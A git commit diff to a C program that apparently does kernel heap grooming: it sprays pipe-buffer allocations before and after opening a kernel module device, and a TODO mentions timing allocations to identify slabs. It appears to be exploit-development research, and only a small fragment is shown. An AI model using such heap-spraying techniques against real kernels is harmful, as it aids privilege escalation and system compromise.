leak: spray first, then second spray

This commit is contained in:
twoneis 2025-04-10 23:26:19 +02:00
parent 182c517c5a
commit c3e73744f2

View file

@ -23,7 +23,7 @@ main(void)
printf("main: start\n"); printf("main: start\n");
FILE *device = fopen(LKM_DEVICE, "r+"); FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: draining lower page free lists: %u objects\n", printf("main: allocating objects before loading module: %u objects\n",
PIPE_BUFFER); PIPE_BUFFER);
for (size_t i = 0; i < PIPE_BUFFER; i++) { for (size_t i = 0; i < PIPE_BUFFER; i++) {
allocation_primitive(pipes[i]); allocation_primitive(pipes[i]);
@ -37,6 +37,13 @@ main(void)
exit(1); exit(1);
} }
printf("main: draining lower page free lists: %u objects\n",
PIPE_BUFFER);
for (size_t i = 0; i < PIPE_BUFFER; i++) {
// TODO: Time allocation to figure out which slab is use
allocation_primitive(pipes[i]);
}
fclose(device); fclose(device);
printf("main: done\n"); printf("main: done\n");
} }